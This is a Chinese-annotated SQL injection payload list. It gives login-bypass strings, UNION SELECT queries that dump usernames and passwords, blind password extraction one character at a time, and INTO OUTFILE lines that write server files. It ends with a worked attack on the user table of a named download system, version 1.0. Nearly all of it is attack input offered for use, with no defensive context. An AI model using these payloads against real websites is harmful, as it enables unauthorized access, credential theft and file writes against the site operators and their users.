' or 1=1

　　' or '1=1

　　'/*

　　'%23

　　' and password='mypass

　　id=-1 union select 1,1,1

　　id=-1 union select char(97),char(97),char(97)

　　id=1 union select 1,1,1 from members

　　id=1 union select 1,1,1 from admin

　　id=1 union select 1,1,1 from user

　　userid=1 and password=mypass

　　userid=1 and mid(password,3,1)=char(112)

　　userid=1 and mid(password,4,1)=char(97)

　　and ord(mid(password,3,1))>111 (ord函数很好用，可以返回整形的)

　　' and LENGTH(password)='6(探测密码长度)

　　' and LEFT(password,1)='m

　　' and LEFT(password,2)='my

　　…………………………依次类推

　　' union select 1,username,password from user/*

　　' union select 1,username,password from user/*

　　=' union select 1,username,password from user/* (可以是1或者=后直接跟)

　　99999' union select 1,username,password from user/*

　　' into outfile 'c:/file.txt (导出文件)

　　=' or 1=1 into outfile 'c:/file.txt

　　1' union select 1,username,password from user into outfile 'c:/user.txt

　　select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'

　　id=' union select 1,username,password from user into outfile

　　id=-1 union select 1,database(),version() (灵活应用查询)

　　常用查询测试语句，

　　select * FROM table where 1=1

　　select * FROM table where 'uuu'='uuu'

　　select * FROM table where 1<>2

　　select * FROM table where 3>2

　　select * FROM table where 2<3

　　select * FROM table where 1

　　select * FROM table where 1+1

　　select * FROM table where 1--1

　　select * FROM table where ISNULL(NULL)

　　select * FROM table where ISNULL(COT(0))

　　select * FROM table where 1 IS NOT NULL

　　select * FROM table where NULL IS NULL

　　select * FROM table where 2 BETWEEN 1 AND 3

　　select * FROM table where 'b' BETWEEN 'a' AND 'c'

　　select * FROM table where 2 IN (0,1,2)

　　select * FROM table where CASE WHEN 1>0 THEN 1 END

　　例如：夜猫下载系统1.0版本

　　id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

　　union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

　　union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

　　id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

　　union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换，寻找密码)

　　union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)